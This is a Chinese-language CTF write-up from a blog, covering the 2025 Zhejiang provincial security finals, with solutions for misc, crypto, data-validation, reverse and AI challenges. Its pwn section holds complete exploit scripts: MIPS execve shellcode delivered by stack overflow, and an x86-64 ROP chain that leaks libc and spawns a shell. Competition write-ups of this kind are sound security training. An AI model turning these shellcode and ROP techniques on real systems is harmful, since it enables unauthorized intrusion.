--> --> --> 2025浙江省网络与信息安全决赛WP
Featured image of post 2025浙江省网络与信息安全决赛WP

2025浙江省网络与信息安全决赛WP

10分之差...惨痛的教训

前言

本次比赛与Vortex mak4r1 一起完成!感谢拼尽全力的两位师傅!

pwn第一题没有mips环境导致很快写完了却没法汇编shellcode,第二题又因为中途太紧张了分析成了依托,实际上逻辑盘的也差不多了,但是比赛为了其他方向的分又没专心做…导致最后仅仅差了10分与省一,教训就是一定要稳住心态,也不能因为分数的变动和排名的摇摆而出现心态的恍惚…总之好好吸取教训

2025省赛决赛

misc

misc1

十六进制中有换表base,用7z打开末尾的附加文件可以看到flag.txt:c.txt

解密flag即可

pwn(仅复现)

mips

保护

image

一个mips异构的pwn

image

qemu进行运行

image

给出一个v1的地址,可以栈溢出

image

ra会放返回地址

image

实际上是有假canary的,可以溢出到返回地址

image

要把这一行原本的arm64改为arm才能出gadget

image

image

image

此处read溢出到返回地址

拿python生成一下shellcode,栈是可执行的!可以直接写shellcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
    "mode",
    type=int,
    choices=[0, 1, 2],
    nargs="?",
    default=0,
    help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = "mips"
local_addr = "localhost"
local_port = "1234"
remote_addr = "10.1.100.100"
remote_port = "9999"
context.terminal = ["tmux", "splitw", "-h"]

context(log_level="debug", os="linux", arch=arch,endian="big")

def VIO_TEXT(x, code=95):
    return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
    return log.success(f"\x1b[{code}m{x}\x1b[0m")

if args.mode == 0:
    io = process(['qemu-mips','-g','1234','./pwn']) #在另一个终端起gdb运行交互
    # gdb.attach(io,gdbscript="""
    # set architecture mips
    # target remote:1234
    # """)
elif args.mode == 1:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)

io.sendline(b"255")
io.recvuntil(b"gift: ")
stack_addr= int(io.recvuntil(b"\n",drop=True),16)
VIO_TEXT("Stack address leak: "+hex(stack_addr))
shellcode=asm("""
  lui $t7, 0x2f2f
  ori $t7, $t7,0x6269
  lui $t6, 0x6e2f
  ori $t6, $t6, 0x7368
  sw $t7, -12($sp)
  sw $t6, -8($sp)
  sw $zero, -4($sp)
  addiu $a0, $sp, -12
  slti $a1, $zero, -1
  slti $a2, $zero, -1
  li $v0, 4011
  syscall 
""")
CLEAR_TEXT("Shellcode length: "+str(len(shellcode))+" bytes")
payload = cyclic(40+4)+p32(stack_addr+40+4)+shellcode #0覆盖返回地址,ja跳转到stack_addr+0x48即shellcode起始位置
io.sendline(payload)
io.interactive()

calc

保护

image

由于实现了一个stack,在这片空间上我们可以利用操作符进行溢出,但是只能输入一次,要精心构建payload,如果我们++两次,那么就会直接触发到canary从而stack smashed

image

我们没有输入的时候可以看到在最后退出的时候如上正常返回

image

如果输入一个+的情况下会因为多清理一次栈而导致变为0从而指向0-8,这时候需要回去看具体的逻辑才可以。难受的是符号全剥去了,不过好在结构体还比较好逆,实际上程序模拟实现了两个栈,分别装载操作数和操作符

image

程序还原

逆向完后主要有的函数为:

操作数的出入栈 操作符的出入栈以及查看当前栈顶操作符

1

image

2

image

3

image

4

image

5

image

在push和pop的部分存在漏洞

vuln

push部分对于操作数栈的sp的类型转换为int,因此可以实现负数的绕过

而pop部分始终会执行–的操作,即使检查无法通过也不会报错,这就导致可以正常返回,从而覆盖到栈上的信息,而在进入函数之前刚好就是0,所以我们直接输入+的话,就会如下图

image

如图,pop导致对数值的清空,从而直接将0写到了返回地址,同理如果输入两个++

image

canary也直接变为了0

那么就有如下的构建执行链的思路

  • 通过one_addr++,这种情况下数字进入实现push,而++会pop两次,从而-1就写到了返回地址,比如12345++

  • 然后如何构建链条呢?注意到程序里是有符号优先级的

  • 并且符号)的处理也存在大问题,正常的解决括号顺序应该就是遇到)的时候往前组合存在的式子,然后直到遇到(的时候把其pop出来;但是看到下图

遇到)的时候,实际上陷入到了while(1)循环当中,v11由上一次的Peek得到,若为(则会继续走pop分支

这就给了我们继续往下写的一个思路,我们的程序在检测完前面的首先不能让括号里的内容为空,随便放一个数字进去,诶这个时候有人就要问了,那如果后面的先进行了怎么让-1的覆盖和rop链共存呢?这个可以根据具体的位置进行调试,当然我对payload也画了具体构架的思路

image

按照逻辑,直到遇到之前的++我们的while都不会退出,伴随着(我们的地址进入栈中,但注意此时还是没有覆盖到返回地址的,准备好之后最后再执行到ret++的部分,此时不就实现了-1开始的链条覆盖了吗?

那么就可以构建出如下的exp

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument(
    "mode",
    type=int,
    choices=[0, 1, 2],
    nargs="?",
    default=0,
    help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = ""
remote_port = ""


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]

def VIO_TEXT(x, code=95):
    return log.info(f"\x1b[{code}m{x}\x1b[0m")

def CLEAR_TEXT(x, code=32):
    return log.success(f"\x1b[{code}m{x}\x1b[0m")

if args.mode == 0:
    io = process(filename)
    print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
    io = process(filename)
    gdb.attach(
        io,
        gdbscript="""
        b *0x40230B
               """,
    )
elif args.mode == 2:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)
elf = ELF(filename,checksec=False)
libc = ELF(libc_name,checksec=False)

def chain(addr1:bytes,addr2:bytes,addr3:bytes,addr4:bytes):
    payload=addr1+b"++"
    payload+=flat(addr2,b"*(",addr3,b"*(",addr4,b"*(1)")
    return payload

# leak libc
ret_addr= 0x40101a
pop_rdi_ret=0x402330
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
payload=chain(str(pop_rdi_ret).encode(),str(puts_got).encode(),str(puts_plt).encode(),str(0x401535).encode())
io.sendlineafter(b"input:\n",payload)

# rop 
io.recvuntil(b"1\n")
leak = u64(io.recv(6).ljust(8,b"\x00"))-0x84420
VIO_TEXT(f"leak puts addr: {hex(leak)}")

system_addr=leak+libc.symbols['system']
binsh_addr=leak+next(libc.search(b"/bin/sh"))
payload=chain(str(ret_addr).encode(),str(pop_rdi_ret).encode(),str(binsh_addr).encode(),str(system_addr).encode())
io.sendlineafter(b"input:\n",payload)
io.interactive()

only_one

保护:

image

有增删和一次free

glibc为2.31

image

delete会清零指针,无uaf

image

add会检测chunk_ptr指向的地方有无堆块存在,index不能写负数,所以改不到负数的结构体?

跟预赛好像是类似的,最多20次申请,size小于0x100,那么就是unsorted bin和tcache bin的利用

但是有一次不清理指针的free来进行唯一double free

来不及写

crypto

rsa

给出了diff和sum,根据diff和sum可以求出p,q。之后就是正常RSA

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from z3 import *
from Crypto.Util.number import *

# 已知值
sum_pq = 15870713655456272818998868095126610389501417235762009793315127525027164306871912572802442396878309282140184445917718237547340279497682840149930939938364752
diff_pq = 836877201325346306269647062252443025692393860257609240213263622058769344319275021861627524327674665653956022396760961371531780934904914806513684926008590
e = 65537
c = 24161337439375469726924397660125738582989340535865292626109110404205047138648291988394300469831314677804449487707306159537988907383165388647811395995713768215918986950780552907040433887058197369446944754008620731946047814491450890197003594397567524722975778515304899628035385825818809556412246258855782770070

# 声明两个整数变量
p, q = Ints('p q')

# 建立约束方程
s = Solver()
s.add(p + q == sum_pq)
s.add(p - q == diff_pq)

# 求解
if s.check() == sat:
    model = s.model()
    p_val = model[p].as_long()
    q_val = model[q].as_long()
    print(f"p = {p_val}")
    print(f"q = {q_val}")

    # 构造 n 和 phi
    n = p_val * q_val
    phi = (p_val - 1) * (q_val - 1)

    # 计算私钥 d
    d = inverse(e, phi)

    # 解密
    m = pow(c, d, n)
    flag = long_to_bytes(m)
    print(f"flag = {flag}")
else:
    print("No solution found.")

数据安全

check1

检验方法均已给出,根据检测方式进行提取编写:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import re
import csv
from datetime import datetime

# 身份证校验码算法
def validate_id_card(id_card):
    if len(id_card) != 18:
        return False
    if not re.match(r'^\d{17}[\dXx]$', id_card):
        return False

    # 校验码算法
    weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
    check_codes = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
    sum_val = sum(int(id_card[i]) * weights[i] for i in range(17))
    check_code = check_codes[sum_val % 11]
    return id_card[-1].upper() == check_code

# 验证手机号
def validate_phone(phone):
    return re.match(r'^1\d{10}$', phone) is not None

# 验证姓名(2~4个汉字)
def validate_name(name):
    return re.match(r'^[\u4e00-\u9fa5]{2,4}$', name) is not None

# 验证出生日期是否与身份证一致
def validate_birth_date(id_card, birth_date):
    try:
        birth_str = id_card[6:14]
        expected = datetime.strptime(birth_str, '%Y%m%d').strftime('%Y-%m-%d')
        return expected == birth_date
    except:
        return False

# 验证性别是否与身份证一致
def validate_gender(id_card, gender):
    try:
        gender_digit = int(id_card[16])
        if gender_digit % 2 == 0:
            expected = '女'
        else:
            expected = '男'
        return gender == expected
    except:
        return False

# 主函数
def process_users(data_file, output_file):
    valid_users = []

    with open(data_file, 'r', encoding='utf-8') as f:
        reader = csv.reader(f)
        next(reader)  # 跳过标题行
        for row in reader:
            if len(row) < 8:
                continue
            cust_id, name, id_card, gender, phone, birth_date, reg_time, login_time = row

            # 各项验证
            if not validate_id_card(id_card):
                continue
            if not validate_gender(id_card, gender):
                continue
            if not validate_birth_date(id_card, birth_date):
                continue
            if not validate_phone(phone):
                continue
            if not validate_name(name):
                continue

            # 时间逻辑验证
            try:
                birth_dt = datetime.strptime(birth_date, '%Y-%m-%d')
                reg_dt = datetime.strptime(reg_time, '%Y-%m-%d %H:%M:%S')
                login_dt = datetime.strptime(login_time, '%Y-%m-%d %H:%M:%S')

                if birth_dt >= reg_dt or reg_dt > login_dt:
                    continue
            except:
                continue

            valid_users.append(row)

    # 写入结果文件
    with open(output_file, 'w', newline='', encoding='utf-8') as f:
        writer = csv.writer(f)
        writer.writerow(['客户ID', '姓名', '身份证号', '性别', '手机号', '出生日期', '注册时间', '最后登录时间'])
        writer.writerows(valid_users)

    print(f"共提取出 {len(valid_users)} 条合规数据,已保存到 {output_file}")

# 示例调用
if __name__ == "__main__":
    process_users("users.csv", "valid_users.csv")

最后提取出文件

省赛决赛wp

省赛决赛wp-1

reverse

天命人

根据算法dump出解密即可

1
2
3
4
5
6
cipher = [0x44,0x40,0x51,0x40,0x50,0x43,0x7d,0x3e,0x38,0x6c,0x3a,0x3f,0x3e,0x6f,0x38,0x6d,0x23,0x21,0x24,0x20,0x2d,0x74,0x20,0x74,0x2c,0x2f,0x2e,0x28,0x25,0x25,0x78,0x2d,0x12,0x43,0x44,0x47,0x10,0x15,0x40,0x5a]

flag = []

for i in range(0, len(cipher)):
    print(chr(cipher[i] ^ i),end='')

Androidtest

fridahook字符串得到换过表的base64
lib中可以看到ret_str函数,从中dump出数据换表后异或即可

1
2
3
4
5
6
Java.perform(function() {
    var MainActivity = Java.use("com.example.myapplication.MainActivity")

    var str = MainActivity.z;
    console.log("str is:" + str);
})

ABCDEFGHIJKLMNOPQRSTUVWXYZ234567=
用cyberchef解密即可

DASCTF{android_anti_and_test_is_interesting}

AI

dog

肉眼一张一张看过去的

省赛决赛wp-2

26c39cf8-55fb-4899-82bc-442cf4627d95.jpg+6e17fffa-b696-4769-9b43-e0f453f8098d.jpg+7a19da17-9f4a-411b-bac7-83d2454d868a.jpg+897a3a87-dfcf-4233-8097-6bba2e6507ba.jpg+c6b1099a-d626-4cbd-94fc-32aa46ffb02b.jpg+d5117480-7943-48f8-9e79-67fdd51092d2.jpg
然后md5计算
省赛决赛wp-3

本博客已稳定运行
发表了56篇文章 · 总计21万3千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...